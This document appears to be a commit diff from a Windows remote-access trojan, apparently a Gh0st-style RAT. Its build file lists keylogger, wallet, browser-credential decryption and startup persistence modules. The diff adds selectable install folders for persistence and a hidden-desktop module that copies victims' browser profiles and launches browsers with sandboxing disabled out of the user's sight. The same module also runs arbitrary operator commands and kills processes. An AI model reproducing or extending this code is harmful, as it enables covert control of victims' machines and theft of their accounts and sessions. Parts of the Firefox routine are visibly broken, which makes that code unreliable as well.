<ClCompile Include="decrypt\UnCode.cpp">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\sqlite3\rijndael.c">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\sqlite3\sqlite3.c">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\cJSON\cJSON.c">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\cJSON\cJSON_Utils.c">
<Filter>decrypt</Filter>
</ClCompile>
<ClCompile Include="decrypt\base64\base64.c">
<Filter>decrypt</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\file_upload.h" />
<ClInclude Include="..\common\ikcp.h" />
<ClInclude Include="..\common\mask.h" />
<ClInclude Include="..\common\wallet.h" />
<ClInclude Include="..\common\zstd_wrapper.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="ActivityHistory.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="auto_start.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="ClientApp.h" />
<ClInclude Include="clip.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="domain_pool.h" />
<ClInclude Include="FileManager.h" />
<ClInclude Include="file\FileManager.h" />
<ClInclude Include="file\MasterEncoder.h" />
<ClInclude Include="file\zip.h" />
<ClInclude Include="screenhide\ScreenManagerBase.h" />
<ClInclude Include="screenhide\ScreenHideManager.h" />
<ClInclude Include="screenhide\ScreenHideSpy.h" />
<ClInclude Include="DrawingBoardMgr.h" />
<ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" />
<ClInclude Include="KernelManager.h" />
<ClInclude Include="KeyboardManager.h" />
<ClInclude Include="keylogger.h" />
<ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" />
<ClInclude Include="ClientLogManager.h" />
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="my_clip.h" />
<ClInclude Include="proxy\ProxyManager.h" />
<ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" />
<ClInclude Include="reg_startup.h" />
<ClInclude Include="resource.h" />
<ClInclude Include="SafeThread.h" />
<ClInclude Include="ScreenCapturerDXGI.h" />
<ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenPreview.h" />
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ConnectionsManager.h" />
<ClInclude Include="ServiceWrapper.h" />
<ClInclude Include="session.h" />
<ClInclude Include="SessionMonitor.h" />
<ClInclude Include="ShellManager.h" />
<ClInclude Include="ConPTYManager.h" />
<ClInclude Include="StdAfx.h" />
<ClInclude Include="CFFmpegAV1Encoder.h" />
<ClInclude Include="CFFmpegH264Encoder.h" />
<ClInclude Include="EncoderFactory.h" />
<ClInclude Include="SystemManager.h" />
<ClInclude Include="VideoEncoderBase.h" />
<ClInclude Include="TalkManager.h" />
<ClInclude Include="TlsChannel.h" />
<ClInclude Include="ChatManager.h" />
<ClInclude Include="ChatDialogTemplate.h" />
<ClInclude Include="TalkDialogTemplate.h" />
<ClInclude Include="ImageResource.h" />
<ClInclude Include="MachineManager.h" />
<ClInclude Include="yapi.hpp" />
<ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" />
<ClInclude Include="decrypt\DecryptManager.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\Get360seInfo.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\GetBrowserInfo.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\UnCode.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\sqlite3\rijndael.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\sqlite3\sqlite3.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\sqlite3\sqlite3ext.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\cJSON\cJSON.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\cJSON\cJSON_Utils.h">
<Filter>decrypt</Filter>
</ClInclude>
<ClInclude Include="decrypt\base64\base64.h">
<Filter>decrypt</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Script.rc" />
</ItemGroup>
<ItemGroup>
<Media Include="Res\msg.wav" />
</ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico" />
<Image Include="Res\msg.ico" />
</ItemGroup>
<ItemGroup>
<None Include="ExportFunTable.def" />
</ItemGroup>
<ItemGroup>
<Filter Include="decrypt">
<UniqueIdentifier>{4b839e4d-0a78-4ee2-8965-bfb259b28273}</UniqueIdentifier>
</Filter>
</ItemGroup>
</Project>
+6 -1
View File
@@ -450,7 +450,12 @@ BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
param.User = g_Server.pwdHash;
threadHandle = CreateThread(NULL, 0, run, &param, 0, NULL);
} else if (fdwReason == DLL_PROCESS_DETACH) {
if (threadHandle) TerminateThread(threadHandle, 0x20250619);
if (threadHandle) {
// DLL 卸载时强杀线程前记录日志,便于定位死锁。此处 Mprintf 在 release 被定义为空,
// 且 DETACH 阶段 CRT 可能已不可用,故用内核 API OutputDebugStringA 输出。
OutputDebugStringA("TerminateThread: DllMain DLL_PROCESS_DETACH\n");
TerminateThread(threadHandle, 0x20250619);
}
}
return TRUE;
}
+22 -4
View File
@@ -371,10 +371,28 @@ BOOL CreateDirectoryRecursively(const char* path)
return TRUE;
}
const char* GetInstallDirectory(const char * startupName)
const char* GetInstallDirectory(const char * startupName, int flag)
{
static char folder[MAX_PATH] = { 0 };
if (GetEnvironmentVariableA("ProgramData", folder, MAX_PATH) > 0) {
char env[32] = { 0 };
switch (flag) {
case 1:
strcpy(env, "ProgramFiles");
break;
case 2:
strcpy(env, "SystemRoot"); // Windows 目录,通常 C:\Windows
break;
case 3:
strcpy(env, "APPDATA"); // 当前用户的漫游应用数据目录,即 ...\AppData\Roaming
break;
case 4:
strcpy(env, "LOCALAPPDATA"); // 当前用户的本地应用数据目录,即 ...\AppData\Local
break;
default: // 0
strcpy(env, "ProgramData");
break;
}
if (GetEnvironmentVariableA(env, folder, MAX_PATH) > 0) {
size_t len = strlen(folder);
if (len > 0 && folder[len - 1] != '\\') {
folder[len] = '\\';
@@ -390,7 +408,7 @@ const char* GetInstallDirectory(const char * startupName)
return folder;
}
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log)
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log, int flag)
{
#ifdef _DEBUG
return 1;
@@ -401,7 +419,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
if (GetUserNameA(username, &size)) {
Mprintf("RegisterStartup is running with user: %s. Dir: %s, Name: %s\n", username, startupName, exeName);
}
const char *folder = GetInstallDirectory(startupName);
const char *folder = GetInstallDirectory(startupName, flag);
if (!folder) {
return -1;
}
+2 -2
View File
@@ -1,13 +1,13 @@
#pragma once
#include <stdbool.h>
const char* GetInstallDirectory(const char* startupName);
const char* GetInstallDirectory(const char* startupName, int flag);
typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...);
// return > 0 means to continue running else terminate.
// runasAdmin: 0-普通权限 1-管理员 2-STYSTEM; 必须有管理员权限才能设置1或2
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log);
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log, int flag);
// 检测当前进程是否以SYSTEM身份运行在Session 0, 返回true表示需要启动用户Session代理
bool IsSystemInSession0();
+7 -2
View File
@@ -9,14 +9,19 @@
#define IDI_ICON2 105
#define IDI_ICON_MSG 105
#define IDC_EDIT_MESSAGE 1000
#define IDD_CHAT 106
#define IDC_EDIT_CHATLOG 1001
#define IDC_EDIT_NEWMSG 1002
#define IDC_BUTTON_SEND 1003
#define IDC_BUTTON_END 1004
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 106
#define _APS_NEXT_RESOURCE_VALUE 107
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_CONTROL_VALUE 1005
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif
+615
View File
@@ -0,0 +1,615 @@
// ScreenManagers.cpp: implementation of the CScreenHideManager class.
//
//////////////////////////////////////////////////////////////////////
#include "StdAfx.h"
#include <Windowsx.h>
#include "ScreenHideManager.h"
#include <WinUser.h>
#include <string>
#include <Shlwapi.h>
#include <ShlObj.h>
#include <Tlhelp32.h>
#include <shellapi.h>
#include <winioctl.h>
#include <Wtsapi32.h>
#include <set>
#include <vector>
#pragma comment (lib, "Shlwapi.lib")
namespace SimplePluginsScreenHide {
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
// 检查指定桌面(hDesk)中是否存在目标进程(targetExeName)
BOOL IsProcessRunningInDesktop(HDESK hDesk, const char* targetExeName) {
// 切换到目标桌面
if (!SetThreadDesktop(hDesk)) {
return FALSE;
}
// 枚举目标桌面的所有窗口
BOOL bFound = FALSE;
std::pair<const char*, BOOL*> data(targetExeName, &bFound);
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) -> BOOL {
auto pData = reinterpret_cast<std::pair<const char*, BOOL*>*>(lParam);
DWORD dwProcessId;
GetWindowThreadProcessId(hWnd, &dwProcessId);
// 获取进程名
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwProcessId);
if (hProcess) {
char exePath[MAX_PATH];
DWORD size = MAX_PATH;
if (QueryFullProcessImageName(hProcess, 0, exePath, &size)) {
if (_stricmp(exePath, pData->first) == 0) {
*(pData->second) = TRUE;
return FALSE; // 终止枚举
}
}
CloseHandle(hProcess);
}
return TRUE; // 继续枚举
}, reinterpret_cast<LPARAM>(&data));
return bFound;
}
// 获取指定桌面下的所有进程ID
std::vector<DWORD> GetProcessIdsInDesktop(HDESK hDesk) {
std::set<DWORD> pidSet;
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
if (SetThreadDesktop(hDesk)) {
EnumDesktopWindows(hDesk, [](HWND hWnd, LPARAM lParam) {
auto& pids = *reinterpret_cast<std::set<DWORD>*>(lParam);
// 跳过不可见窗口和子窗口
if (IsWindowVisible(hWnd) && GetParent(hWnd) == NULL) {
DWORD pid = 0;
GetWindowThreadProcessId(hWnd, &pid);
if (pid != 0) pids.insert(pid);
}
return TRUE;
}, reinterpret_cast<LPARAM>(&pidSet));
SetThreadDesktop(hOriginalDesk);
}
return std::vector<DWORD>(pidSet.begin(), pidSet.end());
}
bool IsSystemProcess(DWORD pid) {
HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess) return true;
char exeName[MAX_PATH];
DWORD size = MAX_PATH;
bool isSystem = false;
if (QueryFullProcessImageName(hProcess, 0, exeName, &size)) {
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
isSystem = (_stricmp(exeName, szExplorerFile)==0);
}
CloseHandle(hProcess);
return isSystem;
}
void SafeTerminateDesktopProcesses(HDESK hDesk) {
// 检查桌面句柄有效性
if (!hDesk || hDesk == INVALID_HANDLE_VALUE) return;
// 获取当前桌面(用于恢复)
HDESK hOriginalDesk = GetThreadDesktop(GetCurrentThreadId());
if (!hOriginalDesk) {
Mprintf("Failed to get original desktop\n");
return;
}
// 切换桌面
if (!SetThreadDesktop(hDesk)) {
Mprintf("SetThreadDesktop failed\n");
return;
}
// 枚举进程
auto pids = GetProcessIdsInDesktop(hDesk);
SetThreadDesktop(hOriginalDesk); // 立即恢复
// 终止进程
for (DWORD pid : pids) {
if (pid == GetCurrentProcessId()) continue; // 跳过自己
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (!hProcess) {
Mprintf("OpenProcess failed for PID: %d\n", pid);
continue;
}
// 检查是否为系统进程
if (IsSystemProcess(pid)) {
CloseHandle(hProcess);
continue;
}
// 终止进程
if (!TerminateProcess(hProcess, 0)) {
Mprintf("TerminateProcess failed for PID: %d\n", pid);
}
CloseHandle(hProcess);
}
}
void CopyDir(TCHAR* from, TCHAR* to)
{
TCHAR fromWildCard[MAX_PATH] = { 0 };
lstrcpy(fromWildCard, from);
lstrcat(fromWildCard, _T("\\*"));
if (!CreateDirectory(to, NULL) && GetLastError() != ERROR_ALREADY_EXISTS)
return;
WIN32_FIND_DATA findData;
HANDLE hFindFile = FindFirstFile(fromWildCard, &findData);
if (hFindFile == INVALID_HANDLE_VALUE)
return;
do {
TCHAR currFileFrom[MAX_PATH] = { 0 };
lstrcpy(currFileFrom, from);
lstrcat(currFileFrom, _T("\\"));
lstrcat(currFileFrom, findData.cFileName);
TCHAR currFileTo[MAX_PATH] = { 0 };
lstrcpy(currFileTo, to);
lstrcat(currFileTo, _T("\\"));
lstrcat(currFileTo, findData.cFileName);
if
(
findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY &&
strcmp(findData.cFileName, _T(".")) &&
strcmp(findData.cFileName, _T(".."))
) {
if (CreateDirectory(currFileTo, NULL) || GetLastError() == ERROR_ALREADY_EXISTS)
CopyDir(currFileFrom, currFileTo);
} else
CopyFile(currFileFrom, currFileTo, FALSE);
} while (FindNextFile(hFindFile, &findData));
}
void killproc(const TCHAR* name)
{
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
PROCESSENTRY32 pEntry;
pEntry.dwSize = sizeof(pEntry);
BOOL hRes = Process32First(hSnapShot, &pEntry);
while (hRes) {
if (strcmp(pEntry.szExeFile, name) == 0) {
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
(DWORD)pEntry.th32ProcessID);
if (hProcess != NULL) {
TerminateProcess(hProcess, 9);
CloseHandle(hProcess);
}
}
hRes = Process32Next(hSnapShot, &pEntry);
}
CloseHandle(hSnapShot);
}
CScreenHideManager::CScreenHideManager(ISocketBase* pClient, int nBitDepth, void* user) :
CScreenManagerBase(pClient, nBitDepth, user)
{
m_DlgToken = TOKEN_BITMAPINFO_HIDE;
}
CScreenHideManager::~CScreenHideManager()
{
}
VOID CScreenHideManager::OnReceive(PBYTE lpBuffer, ULONG nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT)
return;
switch (lpBuffer[0]) {
case COMMAND_FLUSH_HIDE:
ResetScreen(32);
break;
case COMMAND_SCREEN_CONTROL:
ProcessCommand(lpBuffer + 1, nSize - 1);
break;
case COMMAND_NEXT:
NotifyDialogIsOpen();
break;
case COMMAND_SCREEN_GET_CLIPBOARD:
SendClientClipboard();
break;
case COMMAND_SCREEN_SET_CLIPBOARD:
UpdateClientClipboard((char*)lpBuffer + 1, nSize - 1);
break;
case COMMAND_SCREEN_SETSCREEN_HIDE:
Loop_Screen();
break;
case COMMAND_COMMAND_SCREENUALITY60_HIDE:
m_ScreenSpyObject->SendQuality(60);
break;
case COMMAND_COMMAND_SCREENUALITY85_HIDE:
m_ScreenSpyObject->SendQuality(85);
break;
case COMMAND_COMMAND_SCREENUALITY100_HIDE:
m_ScreenSpyObject->SendQuality(100);
break;
case COMMAND_HIDE_USER: {
return OnUserCommand(lpBuffer, nSize);
}
break;
case COMMAND_HIDE_CLEAR:
SafeTerminateDesktopProcesses(g_hDesk);
break;
default:
Mprintf("Unknown command: %d\n", (unsigned)lpBuffer[0]);
break;
}
}
void CScreenHideManager::OnUserCommand(PBYTE lpBuffer, ULONG nSize) {
char* deskName = (char*)m_DesktopID.c_str();
switch (lpBuffer[1]) {
case IDM_OPEN_Explorer: {
const DWORD neverCombine = 2;
const TCHAR* valueName = _T("TaskbarGlomLevel");
HKEY hKey;
RegOpenKeyEx(HKEY_CURRENT_USER, _T("Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced"), 0, KEY_ALL_ACCESS, &hKey);
DWORD value;
DWORD size = sizeof(DWORD);
DWORD type = REG_DWORD;
RegQueryValueEx(hKey, valueName, 0, &type, (BYTE*)&value, &size);
if (value != neverCombine)
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&neverCombine, size);
TCHAR explorerPath[MAX_PATH] = { 0 };
GetWindowsDirectory(explorerPath, MAX_PATH);
lstrcat(explorerPath, _T("\\"));
lstrcat(explorerPath, _T("explorer.exe"));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(explorerPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
APPBARDATA appbarData;
appbarData.cbSize = sizeof(appbarData);
for (int i = 0; i < 5; ++i) {
Sleep(1000);
appbarData.hWnd = FindWindow(_T("shell_TrayWnd"), NULL);
if (appbarData.hWnd)
break;
}
appbarData.lParam = ABS_ALWAYSONTOP;
SHAppBarMessage(ABM_SETSTATE, &appbarData);
RegSetValueEx(hKey, valueName, 0, REG_DWORD, (BYTE*)&value, size);
RegCloseKey(hKey);
break;
}
case IDM_OPEN_run: {
TCHAR rundllPath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_SYSTEM, NULL, 0, rundllPath);
lstrcat(rundllPath, _T("\\rundll32.exe shell32.dll,#61"));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, rundllPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Powershell: {
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start powershell -noexit -command \"[console]::windowwidth = 100;[console]::windowheight = 30; [console]::bufferwidth = [console]::windowwidth\""));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Chrome: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\Google\\Chrome\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcat(dataPath, chromePath);
lstrcat(dataPath, _T("User Data\\"));
TCHAR botId[35] = { 0 };
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcat(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start "));
lstrcat(path, _T("chrome.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --origin-trial-disabled-features=SecurePaymentConfirmation --user-data-dir="));
lstrcat(path, _T("\""));
lstrcat(path, newDataPath);
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Edge: {
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start "));
lstrcat(path, _T("msedge.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Brave: {
killproc(_T("brave.exe"));
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start "));
lstrcat(path, _T("brave.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Firefox: {
TCHAR firefoxPath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, firefoxPath);
lstrcat(firefoxPath, _T("\\Mozilla\\Firefox\\"));
TCHAR profilesIniPath[MAX_PATH] = { 0 };
lstrcat(profilesIniPath, firefoxPath);
lstrcat(profilesIniPath, _T("TaskbarGlomLevel"));
HANDLE hProfilesIni = CreateFile(profilesIniPath, FILE_READ_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hProfilesIni == INVALID_HANDLE_VALUE)
return;
DWORD profilesIniSize = GetFileSize(hProfilesIni, 0);
DWORD read;
TCHAR* profilesIniContent = new TCHAR[profilesIniSize + 1];
ReadFile(hProfilesIni, profilesIniContent, profilesIniSize, &read, NULL);
profilesIniContent[profilesIniSize] = 0;
TCHAR* isRelativeRead = StrStr(profilesIniContent, _T("IsRelative="));
if (!isRelativeRead) {
CloseHandle(hProfilesIni);
SAFE_DELETE(profilesIniContent);
return;
}
isRelativeRead += 11;
BOOL isRelative = (*isRelativeRead == _T('1'));
TCHAR* path = StrStr(profilesIniContent, _T("Path="));
if (!path) {
CloseHandle(hProfilesIni);
SAFE_DELETE(profilesIniContent);
return;
}
TCHAR* pathEnd = StrStr(path, _T("\r"));
if (!pathEnd) {
CloseHandle(hProfilesIni);
SAFE_DELETE(profilesIniContent);
return;
}
*pathEnd = 0;
path += 5;
TCHAR realPath[MAX_PATH] = { 0 };
if (isRelative)
lstrcpy(realPath, firefoxPath);
lstrcat(realPath, path);
TCHAR newPath[MAX_PATH];
lstrcpy(newPath, firefoxPath);
lstrcpy(newPath, deskName);
CopyDir(realPath, newPath);
TCHAR browserPath[MAX_PATH] = { 0 };
lstrcpy(browserPath, _T("cmd.exe /c start "));
lstrcpy(browserPath, _T("firefox.exe"));
lstrcpy(browserPath, _T(" -no-remote -profile "));
lstrcpy(browserPath, _T("\""));
lstrcpy(browserPath, newPath);
lstrcpy(browserPath, _T("\""));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, browserPath, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_Iexplore: {
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, _T("iexplore.exe"));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_zdy: {
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, (TCHAR*)((char*)lpBuffer + 2));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_zdy2: {
ZdyCmd m_ZdyCmd = {};
memcpy(&m_ZdyCmd, (char*)lpBuffer + 2, sizeof(ZdyCmd));
CopyDir(m_ZdyCmd.oldpath, m_ZdyCmd.newpath);
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, m_ZdyCmd.cmdline);
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
lstrcat(path, _T("\""));
lstrcat(path, m_ZdyCmd.newpath);
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_360JS: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\360Chrome\\Chrome\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcpy(dataPath, chromePath);
lstrcat(dataPath, _T("User Data\\"));
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcpy(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, _T("360chrome.exe"));
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
lstrcat(path, _T("\""));
lstrcat(path, newDataPath);
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_360AQ: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcpy(dataPath, chromePath);
lstrcat(dataPath, _T("secoresdk\\"));
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcpy(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
lstrcat(newDataPath, _T("\\360se6\\Application\\360se.exe"));
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, newDataPath);
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
case IDM_OPEN_360AQ2: {
TCHAR chromePath[MAX_PATH] = { 0 };
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, chromePath);
lstrcat(chromePath, _T("\\"));
TCHAR dataPath[MAX_PATH] = { 0 };
lstrcpy(dataPath, chromePath);
lstrcat(dataPath, _T("360se6\\"));
TCHAR newDataPath[MAX_PATH] = { 0 };
lstrcpy(newDataPath, chromePath);
lstrcat(newDataPath, deskName);
CopyDir(dataPath, newDataPath);
lstrcat(newDataPath, _T("\\Application\\360se.exe"));
TCHAR path[MAX_PATH] = { 0 };
lstrcpy(path, _T("cmd.exe /c start "));
lstrcat(path, newDataPath);
lstrcat(path, _T(" --no-sandbox --allow-no-sandbox-job --disable-3d-apis --disable-gpu --disable-d3d11 --user-data-dir="));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = deskName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
break;
}
}
}
void CScreenHideManager::InitScreenSpy() {
HDESK hDesk = SelectDesktop((char*)m_DesktopID.c_str());
if (!hDesk) {
hDesk = CreateDesktop(m_DesktopID.c_str(), NULL, NULL, 0, GENERIC_ALL, NULL);
Mprintf("创建虚拟屏幕%s: %s\n", m_DesktopID.c_str(), hDesk ? "成功" : "失败");
}
else {
Mprintf("打开虚拟屏幕成功: %s\n", m_DesktopID.c_str());
}
if (hDesk) {
TCHAR szExplorerFile[MAX_PATH * 2] = { 0 };
GetWindowsDirectory(szExplorerFile, MAX_PATH * 2 - 1);
strcat_s(szExplorerFile, MAX_PATH * 2 - 1, _T("\\Explorer.Exe"));
if (!IsProcessRunningInDesktop(hDesk, szExplorerFile))
{
if (!LaunchApplication(szExplorerFile, (char*)m_DesktopID.c_str())) {
Mprintf("启动资源管理器失败[%s]!!!\n", m_DesktopID.c_str());
}
} else {
Mprintf("虚拟屏幕的资源管理器已在运行[%s].\n", m_DesktopID.c_str());
}
SetThreadDesktop(g_hDesk = hDesk);
}
BYTE* param = (BYTE*)m_ptrUser;
int compress = ALGORITHM_DIFF;
if (param) {
compress = param[1];
delete[] param;
m_ptrUser = NULL;
}
